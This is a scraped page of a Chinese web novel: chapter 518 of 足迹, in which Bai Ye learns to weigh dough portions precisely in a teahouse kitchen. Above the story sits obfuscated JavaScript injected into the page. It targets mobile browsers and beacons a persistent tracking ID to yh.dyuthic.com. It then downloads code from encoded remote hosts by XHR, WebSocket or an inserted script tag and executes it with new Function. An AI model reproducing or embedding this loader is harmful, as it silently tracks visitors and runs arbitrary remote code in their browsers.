足迹
江司辰
登录
关灯
护眼
字体:

第518章 魔怔了(第2页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

他自小也是吃这种老面,他们老家叫做面引子。

他要学的也就是跟精确的控制发面的度。不能小了,也不能发大了。

所以和面发面,这一点他两天就过了。

和面之后,就是学包包子,包包子从揪面剂开始学。

白叶也会包包子,但是那就普通人家包包子的样子,说不上难看,却也说不上多好看。

而且也不太计较大小的。

面剂子只要差不多就可以了。

但是在高兴茶楼,白叶发现就算是揪面剂子都是需要经验的。

新手们面前都有一个称,会将揪下来的剂子都要过称,保证在一个范围内。

新手还会有些许的误差,但是老员工们戴着口罩,手中啪啪啪地揪着剂子,一点犹豫都没有。

许是白叶的眼神里好奇之色太重,所以带他的师傅笑着让他称一下。

白叶也真的去称了。

将那一排的面剂子都称了一遍,结果误差在±3克之内。

白叶简直叹为观止。

那一天上午一直都在研究这一手。

可不知道是不是练魔怔了,半天下来,他误差反而大了。

还是高原中午过来接他,听他说了一路后,让他不必太拘泥于这些,毕竟那也是练出来的。

只要是练习的多了,熟能生巧,那手感自然而然也就出来了。

白叶认可这一点。

下午的时候不再纠结于自己怎么揪不准,而是将整个注意力都放在了手法和手感上。

每次揪完都会下意识掂两下。

揪剂子,白叶足足干了两天。

也算是他勤快了,一个人包圆了这活儿。

一天下来,白叶手沉的都快抬不起来了。

而且太多次的抓合,让他手都有点握不住筷子,晚上干脆用勺子舀饭吃。

对此,张泉生没有表扬也没有批评,只是让他要注意休息。

还多亏了高原晚上拉着他去泡澡,又让技师帮他将手臂和手腕好好按摩了一下,才算是有点缓解。